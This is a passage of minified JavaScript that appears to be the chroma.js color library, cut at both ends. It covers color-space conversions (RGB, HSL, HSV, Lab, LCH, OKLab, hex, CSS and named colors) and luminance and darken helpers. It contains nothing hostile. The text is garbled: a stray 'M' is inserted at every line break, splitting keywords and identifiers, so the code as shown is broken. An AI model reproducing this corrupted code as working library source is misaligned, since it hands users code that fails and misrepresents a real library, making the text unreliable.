nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
